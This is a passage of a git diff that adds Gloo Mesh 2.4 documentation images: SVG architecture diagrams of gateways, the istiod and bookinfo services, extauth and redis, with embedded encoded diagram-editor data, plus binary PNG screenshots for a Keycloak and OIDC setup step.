lb4ZvXHUwMDEywDx24jDiblx1MDAwMVBGwZrU27T0PCfN4mnh7vYmO0SPTN9ORu3TqDNcdTAwMThGXHUwMDA0m96PiElhXpVcdTAwMDOHXHUwMDA1dnjpymPEqUzfXHUwMDFhj2lcdTAwMDRcdTAwMDaZJl+29dNuLEZcIsJiZDdcdTAwMTazN1x1MDAxYlthMcZN8UXsn8NiZ29Xgp/ELlK5e3lbQI2LonZrXHRcdTAwMWVcdTAwMWRcdTAwMGVcdTAwMDOIXHUwMDAwZrRrXUzDYbZcXDfs3jb3M7RcdTAwMThjoE1xiEVr93GjXHLP9Szz/JScNkmin1x1MDAxZo/iMj1KXHUwMDFjyI325+hIj+ZiSJluqJT7d4M/XzJ1L0coVmvmU6p1rp7SXHUwMDA0R56FlYnc11x1MDAxZrbkauaMYWFJsZCUXHUwMDBi6Zk4XHUwMDEzuo5k5lx1MDAxMjjEblx1MDAwMd86MnBcdTAwMWRcdGaDu6GHMNh6bItCiHdJ2uhcdTAwMGZGk1x1MDAwNpGpm5tcdTAwMWXqjMRr40uwXHUwMDE4llxmrNr5K1tlMU6XWMwjXHUwMDFmdVx1MDAxZlx1MDAxZXPIRnPgMS05YFx1MDAxN/Vn8Vx1MDAxOI1cYo/RPeLiXHUwMDA0do2rwIJyplx03qJccs7b+fTmqlx1MDAxNzvr3d63mi+llCalZMRzQLnpcv5cdTAwMTGpilazpCizXHUwMDE4Nr0kXGJcdTAwMDdTcD8kXHUwMDFhcFx1MDAwZYM05XhomCmf+4TFjYu9XG7J3z2+NTvXzX5nfD1cdTAwMWRfY2dkXHUwMDFhhfi1r5bDXHUwMDEw0vJ+rWHDymH4KquwKYrP+YaLYddkQNhRfFx1MDAxMrtHYYN45ZLKLSwn7/WMKKzjXHUwMDEyeelcdTAwMWKOLVx1MDAxZJC+XHSkurVASJraXHUwMDA3XHUwMDA30zFcdTAwMDdcdTAwMDB2XHUwMDAzgEulfL90dNMtOUO8kEL5NsCnVeC3NM/dISBj7kVcdTAwMTmFwExRtEXQT6P5lkT9XHUwMDBlK87iV1x1MDAxNNVOR1x1MDAxNyfZwi5cdTAwMTDw81IjOOAvRj5KpfLlqD5KXGIyjeyZXHUwMDA2g4xJ6e7v//zMXGKKXHUwMDE5JWBcdTAwMGVHM421z1u9jErdnFx1MDAxZt8m6+k0ib91z5/3V6MhXHL7nVx1MDAxOfFcdTAwMTV37atcZrtcdKo53/CAUM2rVC8nnNGtPHDe61x1MDAxOVWoJrSnXqDSXHUwMDEyXHUwMDAx6YUgsFx1MDAxYZeMaIXYXHUwMDFm1V5cdTAwMTGgz9G4PqxcdTAwMWSddd67zq1cdTAwMTXDQmtcdTAwMWKQzipaW5np7niNM9fjJ7BcdTAwMWOYwKa7om/OpGcjXHUwMDE1O21ke4VKMffQyZSqr6dcdTAwMTGvPMJcdTAwMDUxVWx+MeaKY9x0SbKEhi9ITlx1MDAwNaAjjyyMPUpcdTAwMWLtXHUwMDA22MCWwlxuR7SLYuflXCJ1LVKZM85mmaeH6tWEpXl0gdVXc9mFtLwhXHL7oG+1oirXaL5cXParalx1MDAxY1x1MDAxZr2NXHUwMDFiXHUwMDAxrEKmjmJtWXu+b9xfZd9FKybKNZfWJNtcdTAwMTUoR0VZzaN+XHUwMDFhP1xm7/OJOErgN5e6I9vB7PNZc5qjsfq0dHxKs49o2r1xKc691bhcdTAwMTc9mkZj1Eu2T28vXHUwMDA24zFcdTAwMWU+ZoNoWVx1MDAxYTg5bKy/4njDXHUwMDAzXCJXrl2djFpqSYncXCJJ0Xs5I1x1MDAwYlxcpaeCJMLCvlx1MDAxNOQnXHUwMDE1XHUwMDEzp1x1MDAxOFNuR9B/XHUwMDAwcE20ut2jTHlQ+3Qv41x1MDAwNsS3iluXJ7pcdTAwMDds5Vx1MDAxZWWRhFx1MDAwNGLdXCKyuJsulcWdzOerXHUwMDBmg/vbzuvje0VPvlx1MDAxNGqlaoUptbSIXHUwMDA0Plx1MDAxMFx1MDAxONmbIFx1MDAwNVx1MDAxYfK420GzgslcdTAwMTLFQ4yg2lx1MDAwN7WmT65cdTAwMTkqT1x1MDAxYsfTdKkpXvX1Y+Lu+lx1MDAxYrVcdTAwMDaFWkNa3q81bFhcdTAwMDfNgU93XHUwMDEzWHO+4Vx1MDAwMcGacD9cdTAwMTFcdTAwMTYgXHUwMDA2keTYP1jzXs6vXHUwMDAx1lb1XHUwMDAyw8ySPvTCZ0E1zZXQ7I8qlJdcdTAwMWFcZuvdT4dpXHUwMDFiIM4qTFtMcic+5Mq1slx1MDAwYsEm9Vxc8S3KXHUwMDE5N+RjN/HUK72c5kQp/Z6Pl1x1MDAxZVx1MDAxMm7wLDqMqIRlK1q5nFx1MDAxZVxyklxi+/P271x1MDAxYplhy3L+4EO6npdcIpWprqTp4VwiM7xcdTAwMTTbZV/VXHUwMDFln1x1MDAxM7fZN9Eutlx1MDAxM8f160fq02uyj1xucuRz3+VdLsvVcseZyW1h0J9cdTAwMTPU+3Muu+lU6Vx1MDAxYTyP4TOikb3L0MbeXHUwMDA3vedBdnJ+Uyr3XlP0Urau88noJ3EyqSxJXHUwMDA0XHUwMDEyXHUwMDAyXHUwMDFijbXCzWDSKEubSk1cYoFpw0JkZ+mQZubAzqa3Jlx1MDAxMUxE08aS99lZ4zk9eKuQbC+f6ov0XHLKR52dT1v1pVx1MDAxZDkkO/+ciyc7u1dlcu9ljVx1MDAxOadcdTAwMTIpKvxcdTAwMDdoee9lJF0nmJlcYi3QykRSolx1MDAxMLfV8v3BzaC5JWVCUUKU5numZLv3aTJVLoTUXHUwMDFjY0xAhDh0M5HzjFx1MDAxZEKx0iY+X68zOkVKmza/XzVl22dhJm+tcWRvWoLhzvO6lVRxgDVcdTAwMGKn1NFHSyRmXHUwMDExQcA0XHUwMDAyToDtV+tcdTAwMWSRfo8qKjF3XHUwMDEyM9dcdTAwMWFxLcb7y/7TyNz5XHUwMDFk/s73etkhbPHHRv39Xi+PT9zjXHUwMDEy//q5qEZcZpTNY/3nv3/99/9cdTAwMDOGPuFbIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo-frontendsnamespacebookinfo-backendsnamespaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/bookinfo-oidc.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/bookinfo-oidc.png new file mode 100644 index 0000000000..4f8ca57cfb Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/bookinfo-oidc.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png new file mode 100644 index 0000000000..ee079688d5 Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/keycloak-authentication-dialog.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/self-signed-cert-error.png b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/self-signed-cert-error.png new file mode 100644 index 0000000000..17674252db Binary files /dev/null and b/gloo-mesh/platform/2-4/airgap/default/images/steps/deploy-keycloak/self-signed-cert-error.png differ diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-expose/gloo-mesh-gateway.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-expose/gloo-mesh-gateway.svg new file mode 100644 index 0000000000..a7c7d4a9e0 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/gateway-expose/gloo-mesh-gateway.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19WVcqS7bu+/5cdTAwMTWOfV6LvNE351xyQVHAXHUwMDA2afXWXHUwMDFkXGZ6UPpWPeP89zuDtZZkQmbSS1LbrFx1MDAxYbiXYGRcdTAwMTA5m2/2//PXxcXf449+7e//vvi79l4ptVvVYWn297/M76e14ajV68JbZP7vUW8yrMw/2Vx1MDAxY4/7o//+P/+n1O9bi7+yKr3Or7+stWudWnc8gs/+X/j3xcX/zF9t91x1MDAxYdYq41K30a7N/2D+1uJ2nPPl3973uvNbU6JcdTAwMThi6Ovt1ihcbjdcdTAwMWLXqvBevdRcdTAwMWXVXHUwMDE275hf/c1Sd4VEuvlRu3lcdTAwMTKF8Gv7aproNVx1MDAxN/est9rt9Pij/etblSrNydC2o9F42Hur5VvVcVx1MDAxM97HS7//+rtRXHUwMDBmvv/ir4a9SaPZrY1Gjr/p9UuV1vjD/Fx1MDAwZS22/+tcYv77YvGb9/mXxMxSSHNC569cXH69/fHrbVx1MDAwYn5JXHSjXHUwMDAycy2XN1x1MDAxNum1e0Ozsf9CStZ5ebG1cqny1oD9dauLz2BSVkosPjP7/XVcdFJcdTAwMTaxXUx8faRZazWaY/NcdTAwMTlcIixtv9hiK7X5M9Fcblx0RbkmX2+Y+/dvq1x1MDAwYtr49SBSZZK6S2Re009cdTAwMDPaQbdvZVx1MDAxNn762lx1MDAxNHwgW81fo2j4IfPc6qviQKGBXGLd/v37/f+3/GiapWH/9yP4e2T+YTtcdTAwMDPz9a+WXHTUTqQ28qm+JD/fXHUwMDFh4fzb4zhS/0ySOnlcdTAwMTjnbduyUXRpOOzN/v5653//5bducvKAXHUwMDEy1UqFd8kzqjXew5lW7XmzdVe+8qRfLf1iXHUwMDAwLFx1MDAxOFx1MDAxN0hpKVx1MDAxNdZf77db3Td4sztpt/+y7WxLlmTKiyWx5JIrxanYmCs7cTK8uaHvVzzCnqZcdTAwMTVeXHUwMDBiZdUs8FxcyVx1MDAxOLGEVlxmk/krZVx1MDAwZa4kXHUwMDFhWZJJzlx1MDAwNFdcdTAwMTTOXHUwMDFmM0+2ZJojLv3Zklx1MDAxMFWuubAlJlx1MDAwNDl4TrmwpVrhQ5BcdTAwMTNcXGDBhTpcdTAwMWQjzr/hjow4eSuKTvst9pLNXFxd53u9Zrr/qFx1MDAwZcCI+Za+S5VcdTAwMGJcdM6HhcrHY1xmXHUwMDE1XHUwMDEztWSgXHUwMDE5UXrqRoKEJIRS2zNex4iT2PMoP5h2dWha/mCNUjh9nUxcdTAwMDWeXHUwMDExJaN2RmRORqSEOlx1MDAxOJFcYk9GPL1+pCA5KZNcdTAwMDKdji1PpFx1MDAxZk/DPlRcdTAwMGIv9sFaMFx1MDAwNFx1MDAxNCE2R5c3uEZaj1wiVeF8XHUwMDE0pdFCNlx1MDAxYZ92g84+XGZpbFHBkdTmVaElPSaYRTbTY2h++bLPeFjqjvqlIVx1MDAxMNMqXHUwMDBiwVx1MDAxM3ayxypcdTAwMDcpXHUwMDA1Otd28WVcdTAwMDbCiksklWIn5KB9XHUwMDE0XHUwMDFiXHJ1aLhRjNyEdL2ULoavXHUwMDEyk2LrXHUwMDAwiu0+X8qH4rnX6G1LPnaHtTtcdTAwMTFcdTAwMWQ0XHUwMDBlyZlcdTAwMDRcdTAwMWSWM0FxeXImgEtJNOVkY85s3L7me5/ZXFx8/MijfFimzcth8Fx1MDAxMSZmMiCcqeh6zsTLvChcdTAwMTiRQmIpgsuK30zUYKZ7ozWNOCebY7XLhyZcbqlioVx1MDAxOSnEroup6tsjemaBJ2kmtIU9jSaK9aZG0+mxXHUwMDFhlkggQf+BvozTaFx1MDAwNGrze61iNUAx2C5q1rFcdTAwMGZcdTAwMWE14oXMNNFcYlx1MDAxNVU+mut2RtEk+T72QbuxXHUwMDBmVnONgI3TXHUwMDEzXHUwMDEx6nRcdTAwMDRcdTAwMDI1WpxTRICBkOLoSFx1MDAxZVx1MDAwN1x0esfOXHUwMDE4dJV5qE1DfFx1MDAwMTO4XHUwMDE4VijAwOy7IVx1MDAwZfMkaI6EMN7ezW2PYnNcXJ5Gq7gjbnk3k+3E6ul6OujqXHUwMDAwjHVtRzhOcqbUiW+Oolx1MDAwYiRC66BcciYr0IZcdTAwMGJNXHUwMDE0XHUwMDEzgp2OmP9Zsp942+kgVTBcdTAwMDdpyDbmXHUwMDE1mlx1MDAxZKLG7fX7XYHdX4Y7xT5/bZSDzytcdTAwMWN58lxu4GzgXHUwMDE1TohcdTAwMDSOXHUwMDAxKM6PxSsuQFx0wFx1MDAxNLJfdJlZJGAkLjA9oVx1MDAxZLBcdTAwMGazqOkgXcyWXHUwMDFlhqrxKTOR3M0leuRBZlx1MDAxNmJzWS3rXHUwMDE1Rlx1MDAxMFx1MDAxNdvwSnE0XGJ/JipXs7eqptXH99ZDr5P04JUlmndyyjJcdTAwMWE5pkNYXGJcdTAwMWa7mVxuvKmRoVx1MDAwNKnpij+zlGusXFwtu+AkgElcdTAwMWV88cU7fFx1MDAwNSZcdTAwMTHEmKFcZnXCwMxezPJUr7Rcbvn0w0euM3n7yI5cdTAwMWFXt1x1MDAxMXdmXHUwMDE5197Hm7qv5LhVXHUwMDFl1T5cdTAwMTWJXHUwMDE3Wu1Cp1x1MDAxZapcdTAwMTUo24xcdTAwMDd9170qplwi+I7FZ73yXHUwMDFkfiyMdeLmPX2AdSvTckxGu5evmVx1MDAxNk2rm4/Ma+SqfIB1XHUwMDBmfryOT/9r01x1MDAxYn6DhHNsyCHcvCPPikhBkSabo2b/81xmKFx1MDAxMqBS+nns6Vx1MDAxY1x1MDAwYmwk3+rza3e/IOaLtb+Emi014LdQU1x1MDAxYYNRinCAXHUwMDAxwE5cdTAwMDS8oJNed5xuff7y4zl+e13qtNpcdTAwMWaORz2nbNhSq9tcdTAwMTjC7i7+3W3AXHJnpVx1MDAwZvtzXHUwMDE41eA+tTnsc/xhuN1qdOdcdTAwMTJcdTAwMDZ2Xlx1MDAxYjo4ZNyqlNpfXHUwMDFm6LSqVTs+qMBuSrDm8HZcdTAwMTO93lx1MDAxYrZcdTAwMWGtbqmdWdrsn63uXHUwMDAx5ZGnY19qQTVcdTAwMTDt5n792e0gPb7Fop1PoNfn5/prXHUwMDE1t8OBRyfMh3tcdTAwMTmXwUUnWlx1MDAxMK4kPleX593le7v+RF4+XHUwMDA3XHUwMDBmpTuaKyXTsVn2XHUwMDA3nFx1MDAxY1xunFx1MDAxY+l4j7QsznUropIrll9r+VxiXG7HUpdodr/XKazDUu5f5IRYilK9/NsvUYxcdTAwMTUjVGxhKPo/psBCKaH9hLGgXHUwMDAxg1ImTIip0CjAnsdcdTAwMTNgqVppNJ7VRuNcdTAwMTOBqTUwZFx1MDAxOUx97XZ/NMW0Z0RcdTAwMTkzOHAkyFx1MDAxNkGEaiH2cdNM80GFsufJfbXxXHUwMDFjvVx1MDAxY+5cdTAwMDKnvjM5nlxuXHUwMDBiTD5B2fxVOFx1MDAxOFx1MDAxOCNKLUCcYH9gqqm0RVxcdsiROLivR2hCXHUwMDA00Vx1MDAwMbaL/DQov3nXsVx1MDAwZe/kO9naXHUwMDA3LkZcdTAwMDY1XHUwMDFkv/yBU4eCU0c63vNaVuu3z9xzMzcjOFx1MDAxN7uJXSV7U3RcXJTm/kVOiNI4886E01x1MDAxYzGt8Fx1MDAxNlx1MDAxZS//51x1MDAxNFSYRlx1MDAxOPZcdTAwMTPyXHUwMDFjWWoh5L2DX0dcdTAwMDFpZCUziCDYXHUwMDEykECQnfincHiNxq1e1Vx1MDAxNZhh6fj0wYDZXHUwMDFhQLPi5fq1w93hXHUwMDE4R9iLV1x1MDAwMbRjiVx03zxFaVqajnJi2L9cdTAwMWG9k9az0v3XVvE14GhMKmxxJSnC81eyxKiA1Vx1MDAxOGbAplx1MDAwNFx1MDAwNJfyqcTYXHUwMDAwjHkmKO1cdTAwMDTGMJdcdTAwMWHMPKlcdTAwMDJsWPmikG43/6rRPWnqfl43SSdPp1x1MDAwZj9g7FBg7EjHe6RlczqlXHUwMDE1VZnXt5fksKFm0clg9nqAU7hroVBHNp+zr9n79FS0Q6LWbFx1MDAxZmDdXGaqyEZcdFxyXHUwMDEzODfOlmJRXHUwMDE0w4PuXHUwMDAx1n1O5Vwi/Vx1MDAwZZxG4zN8XHUwMDFij71cdTAwMGafbmfDXHUwMDAzrPs0fVx1MDAxYnTS44ouJz9vPlvZQWOQ2bBMcEdU6k4op0Sl1NPxwJigSlx1MDAxMrl5XHUwMDE4x59ccoJcbkqlXHUwMDEyfrrOQFabriNLXHUwMDFi+37XoUJcdTAwMWExbqOBwCm4XHUwMDEzgNJYu9e7uKuNmlx1MDAxN//ullx1MDAxYY7z/Vx1MDAwNsfhXHUwMDFhiLeMT1x1MDAxN5v9tdWdOJfaauNWK6tcdTAwMDRcdTAwMTeCblGGkrwpPPDSa/Ku12lcdTAwMTUjvdBL5f7+Leisy1x1MDAxMdGWXHUwMDE2inA6f+VcdTAwMGXW5VhanFJcdTAwMDJUJzT8h7fTXHUwMDFmK8FK/smUvpxLuEu5vs26/VNcdTAwMTVMXHUwMDExpZixXHUwMDAwm5O+aKTYm1x1MDAxNEbteuGj2X145s1QJVwiQ8dPoHSVXHUwMDBiyvFbXHUwMDFmuVDu9d5a3XrvYtZcdTAwMWK+wVx1MDAwM6zUXFxcdTAwMDWDraBrO8Ew7vW9pIJj88tcIsBlX75S4NeJuohcdTAwMDGgfU8xICRcdTAwMDX9tU3kwP9cdTAwMTlcdTAwMDfSVlx1MDAwNa3snVDNOd+w+GBcdTAwMDNcdTAwMTngbapcImLBc5BYXHUwMDBiXHJcdTAwMWOOqEshXHUwMDFhWLNSXHUwMDBioeBxXGKEXHUwMDAxWa1IXHUwMDA3kNdcZszcXHUwMDAwt/LYj39H49JwfNnqVlvdXHUwMDA2vLeQMH9cdTAwMWFL3W6gieZcdTAwMWNfmcxrryx4uopRguBcdTAwMDdidOGmM2dX6pvNWVx1MDAxMqCb4r9fpSa/P/GF3/+udauLPTn22y6NxpFep9NcdTAwMWHDN33stbpj129cdTAwMTQ2nNmslVZYXHUwMDFlVra/t8zCfbOi89ku/utiQeTzf3z99//7l+unQ94kaK5cdTAwMTXiW6z3l/3n1lmc2KeWT3OiXHUwMDAwW2+eelBccl1FQ9lsVqUyLZRoxsf9W4qCLnwo8658XHUwMDEy3JlcdTAwMDPmKXw2qebwXHUwMDEyPoS5gFx1MDAwZpvR9scxplx1MDAxMdaEqlNGKY8rX/bCXHUwMDA3ofpcdTAwMTA+XGIsO/p3t1vq1LyhgtjVhthcdTAwMTcquG9xN77lntnXXHUwMDA0gdlcdTAwMGZ4Wm9u9pfy7KqK463ZLevcNFx1MDAxYrOaukI3QedbRi3lwbfArFx1MDAwZdBwXHUwMDFjtqUuJYqrbCs000zhc23wdaKiq1x1MDAwM8lcdTAwMDTzPIMtXHUwMDEy3Ha4m1x1MDAxZMG8Q15YXHUwMDAyXHUwMDA1aiS3KMv3r0xccqhIoNpiXHUwMDFha6pcdMZyKTgtkbKUiVqD+Y5cdTAwMTTGx9HlWFxui2tgeS44Y1It0NWXiECWsVx1MDAxMjTXXHUwMDEyXHQmsdJsxc9cdTAwMDDAXHUwMDBin9I9+K1mxDLkXm9g+JfYO1xmXGZCuaCm2YGShEi8qMddWFx1MDAxOMTiXHUwMDA0iIVcdTAwMDG4gqcnV1xyjPMyI7xcYnD+rlx1MDAwYu1taUh4i1x1MDAxZuldXHUwMDBmxplcdTAwMDS7XHUwMDE4b9GJ1F/tXHUwMDA0VfwoS1xipogpzKDOKISSXHUwMDE4XHUwMDFli6BCXHUwMDFhtKJcdTAwMTVd2tZxpFx1MDAwZnGJuCNcdTAwMGI2J4FcdTAwMDJcZk5cdTAwMTRcdTAwMTLxlaxcdTAwMTkliCBS41x1MDAxM1x1MDAxNpdcdTAwMDTCj+GPilx1MDAxZGLGJINrITmG504lVcT2qV9ihltcdTAwMDQhXHUwMDAycl1cdTAwMTI4fC3ZipjZSPT5d0xw7omAXHTAkIAnTVx1MDAxMeVq0Vx1MDAxZmYh+7Alv3YlMEDp/yzhR6jj71cof0vZ551cdTAwMThIln+7qKRjoFL0XHUwMDE2XHUwMDFk8lxuJfpcdTAwMTLBg2is8Pnxcd9npPM0antIvsDEccDEQVx1MDAxNlx1MDAwNZgp0Px1scq8QVx1MDAxZUFcdTAwMTbWQI2SU5NcdTAwMDa/l1x1MDAwZtc/jiM3iuNcdTAwMTDTtYkzeqblc0dvjnxcZpvsd4nFKGhxXHUwMDFjl33tXHUwMDA2gDCm3vFcXIo4ZpzhzVx1MDAxMZD/Q1x1MDAwZSRcdTAwMDJcdTAwMDLrSlhSXHUwMDE4KsJKXHUwMDExW0OyuVx1MDAxNOCmK1x1MDAxYVx1MDAwM1xuXHUwMDEzXG7BYVx0b1xmtE8ohzBqwXtcblx1MDAxYoSLYKFcdTAwMDVBLUI51GJcdTAwMDSkMlaUILzaMFx1MDAxM1PTrVx1MDAxYutT1tdcdTAwMDZcdTAwMDJcdTAwMDL5KyNcdTAwMDfcoEbtwoEjaUqdiM3u+Fx1MDAwMzYoPH6sjGmrsZCK890gkP+QXHUwMDAyx55Mnq9cdTAwMTZcdTAwMDKoXHUwMDBlMFx1MDAxOVx1MDAwMKHVPWlLUfhcdTAwMWZTXGZcdTAwMTAv0Uyt7OmsXHUwMDAwkDfxm2uZ7LeEP2t66HmWsFx1MDAxMlx1MDAwNOhAKntgdG1cdTAwMTT7KlWofrS6o7th7LP3oGqdl8HjLsLv+9pcdDBGvaPYQiCL6U1cdTAwMDJJm/RcdTAwMTJYzlPbL+FaaVx1MDAwNXZpoGsk/MDQy32pSjKJ93S0/olmvTKJxMUguPnW5VClw2Q4SevPzffZXHUwMDFi6PhW7yBcdTAwMTnB933Unj08iNZTO1xcmPDHW1x1MDAxZE9cdTAwMWRg3YNcdTAwMWbvulx1MDAwNFv3XHUwMDFiXHUwMDFlXHUwMDA2wfqKN89Qm62uaFx1MDAxOdaZ4nxM1Fx1MDAxNpLN/zyDat4xyr1lmzTTXHUwMDAyNlxitm0g2tal165cdTAwMTVvqzVgXHUwMDE4bD2q5UnD5lx1MDAwMUy37Vx1MDAwZnvVSWXcLzXc7bBjXHUwMDE1gq3R7MvWmX2be4BcdTAwMTPlneVcdTAwMDI2malcdTAwMDZDm2e5XFwlwvSp8fF4leo0Reep9ZhpzcZcdTAwMDFcdTAwMDcnxNmJ0cHAUrGDMfCBsVx0gcdjJkyca8vSZnv6NovWdewhXHUwMDFj77x3dCRcdTAwMTm7lvuDkyMte26YZ1iNl1rVxohXp1x1MDAwZvluqf58S1wiXHUwMDFiTuv73uNdh3ncb3hKzOMjMFx1MDAwNTe95sVcdTAwMTZVRf7nXHUwMDE5VMxDnM1cdTAwMWRcdTAwMWRcIlMh4rDnjol5XFxAzuq0JWZcZn5cdTAwMWTobrUnXHUwMDAwOdVcdTAwMWFAj/bIXHUwMDFk4CjHx1x1MDAwZlx1MDAwNnDWoINlgPNni7uDXHUwMDFiyjztXHUwMDEzIFHj61GbmydcdTAwMWav4chnkyVisypcdTAwMWGnXHUwMDFl29e5es6rXHUwMDAwMCjYXHUwMDA2wI0no+r5VIFAYlx1MDAxYiwogefDTzmWaVx1MDAxZmwzvsQzllTl8dXkJZpJdF+E7Ob2XHUwMDA3Iee17LEgyJG2XHUwMDFiv4rV2tVwkV6N3sUw+zi7bl3qvba7XHUwMDBl2rh/kVx1MDAxM0JcdTAwMWLKvdMkXHUwMDE5YpIowTaXl/7PKajQhlFvaKOxOiW0cZnupShcdTAwMTCCvV9L4MTkXHSgzbA0bnVcdTAwMWJcdTAwMWXQ5ki+mzXgYFx1MDAxOdr82eJcdTAwMWXQxrsvqlx1MDAxMojCwW7heS3U5DD5PKrLQuguXHUwMDEzeU/Lq8bMq8V8UKBcctfEx23DXHUwMDAzXHUwMDBibVx1MDAxOOFcdTAwMTJMxHNcdTAwMWSfXHUwMDFjqX1cdTAwMTYuW5ezt0Ip+1x1MDAxOOnFXHUwMDFlK82Xyf7a97yWPVZE6Ujb/X5o4/5FTlxubXxcdTAwMTKQTMKNZnrzXHUwMDA0JP/nXHUwMDE0VGjDtfTx2tBgeW0oRUIy/tND+lx1MDAxN3n/wVxytWmrNvter81cdTAwMWFwsFx1MDAwMm1+b9GXTT0zXHUwMDA1ufCOKGtGXHUwMDE4XHUwMDE124zO8feub8Wny62RjmmCXGJqKU1cdTAwMDDhKYyZdiZcZktKLCWZpFoyhJVPtcS+nKqoxUFQgEyQZi6qdklcdTAwMTZkxNJIUY2wwERRXHUwMDE3NpacXCKJTtpcbj5cdTAwMTDZgv6x3YtFZp6pQ+ImMI9cdTAwMThcdTAwMTh3glxi6laYRS0zYEnDe8L07MTy9ye2zFx1MDAxN/R3yDp3RTHGhMHWsMRcbrNcdTAwMDWffu1KW1x1MDAwNDOGhVCEMsmxXtnUWSVcZnrSv7lWKH+x3F/2n1tcdTAwMGJAe1LuSrKg0lxi6W2q1/2BalBcdTAwMDUgZ9rCXHUwMDA0jFilhLZcdTAwMGYv/yVcdTAwMDCZZSBcdTAwMWLhjFMs9fGgioRdKNN2XHUwMDA0wckjrlxcXHUwMDFh31BpSU2YJEzN64SW5Vx1MDAxZohxZijoR/xtKP5AzoB2o4RoxTFcdTAwMDP1hlflXGZmlqAg/+bUIZDkO1x1MDAxNoz5XHUwMDAzXHUwMDFi56YwPEbBtFx1MDAxOf3FiG0otn1TSFLJjItcdTAwMTRcdTAwMDQyp+ddL+ZJ++ZapvotZd+afCTPgjFMuVx1MDAwNpqwXHUwMDA39dbJv0kyjF+ros3KLFx1MDAxZi/U72aTWvE66IZcdTAwMWE14XXlOfBHUL5hwvT3z1x1MDAxYzc1XHUwMDA1mJxW4P2zho5cdTAwMGLvkI1cIia3TW0xXHUwMDFmXHUwMDBiT1x1MDAxYrVbnWFFfNkqqPvqY/4+1jpcdTAwMDN2IT7sXCKF2sxcdTAwMTd8gqnjoExAffFznVV4flPHlWfQXHUwMDA0cLxQkqMtWrpcdTAwMTVcdTAwMWX5+yTFL1x1MDAxZlGuXHUwMDFk66TGxWgy0/fgloBETSjn1E+1XGKyYVO3XHUwMDEzXHUwMDA0TszGJFjFXHUwMDAxzuPyY5bYU4aO8bg6uXq9XHUwMDE2pKQ6jVx1MDAxYXtzZ5YgJKYmI9Nw/VonX1x1MDAxM1xiTcNP+YqMO0pcdHddV1x1MDAwZsPhLJ9EQqnGW1x1MDAwMk3Lk1ItXTrAukc63iMt+/wg2rHYc1FOkr3Rw3NcdTAwMTbIsLFf0/91XHUwMDExXHUwMDE59y+y4XbjXHUwMDBmgvY+u5oli7f0I11cdTAwMWK8o9DLiVx1MDAwNb338HXv8TaIY8y2XHUwMDE43ez/9IOKhzhXfjJeoc1cdTAwMWFcdTAwMDCeqCZJXGKtmMZBjo//g2qS1mCc49Qk2Vx1MDAwM1x0K+36NEaU4y18oOz6qlx1MDAxYU0mXHUwMDBig9jTc1h9zFxuo+SDl1x1MDAwZjQoMI0q7WfSKHkwXHUwMDE2PnzmLlx1MDAxODTKPp0hcOzrp+neL+/i+ipcdTAwMWROXHUwMDE1XG7DVkx+PtPYKLa/vj/SsudcdTAwMDb++tf4MjvSvXT5M8lY5rLcj9c88lu2WvdcXJ7aOpDmfsNcdTAwMTOCKepT4C2EwVNqi4xg//NcZiqcopr5yGL4t8NkPiaccsFPq1x1MDAxMXfjq6Wc/iTO/Fwi8Fx1MDAxM5Y7rVx1MDAwMVx1MDAxZUcod1Kepo+JXHUwMDFkXHUwMDAz8W6TPPOcm1SvouwtWpyG31PTVoa+JnTAcZOJXHUwMDFje/OqRjSouFx0XGJcdTAwMWYzic/VXHUwMDEzfP+Q06nn+5fGbbb3+izVU/zuzqOMeVx1MDAxYlx1MDAwNXxey1x1MDAxZVx1MDAwYt2cyymsQzfuNzwlulHefZnhPlxcYblF71x1MDAwYv/zXGYquuHcXHUwMDBm3YC+OCW6WfFcdTAwMGVRobi25Z5cdTAwMDVPSv5D6p3WgIMj1DtJb5+QlpSDbt9iXCLkqypehiOZSnus0+Grfv819vpyXHUwMDE1cGwjMff1XHRtONflXHUwMDA0PiFMhCTCPqovcGzrpyh78afxbXZUSVx1MDAxNl4ydT1cclfjQFx1MDAxZPvr3/Na9lhxu/M6hcNDvHWgyf2LnFx1MDAxNDR55lBwpDFFXHUwMDE0b+6b939MQcVMXHUwMDEyUJGfR4h/W4BtXHUwMDEzzIRcdTAwMTHRnFwie6P9wInfoJVSXHUwMDFkXHQ1rYFcdTAwMWSHLaVcdTAwMTLeU2dcdTAwMThcdTAwMTGMXHUwMDEwxTZ3XHUwMDA2+UdcdTAwMDRcdTAwMDJaSEC5klx1MDAxNmLAp4gqsHSQs+s6oEZcdTAwMGKTbyqlXHUwMDAydFxuO+BcYjMq3Ebori+l4kIzxVx1MDAwNfmn11x1MDAxMviHpC+cpVSmaYnphiClMFx1MDAxM6NXh89cdTAwMWOqlMrf2evc1VIp1T+hksqd/M11tEoqyb3brlx1MDAxM1x1MDAwMVx1MDAxYuFic/nnXHUwMDBmf4Mq/8Dssog09WtcdTAwMTIxXHUwMDAxT2BJ/lx0XHUwMDBiXHUwMDAwyvdUUlEza0BcdTAwMDHFXHUwMDAzXHUwMDAxSJfRf+sqqcy8XHUwMDAyRrA+ZV7QeYk/M3dcdTAwMDJpQqiZXHUwMDBmblx1MDAwNjm4XGa5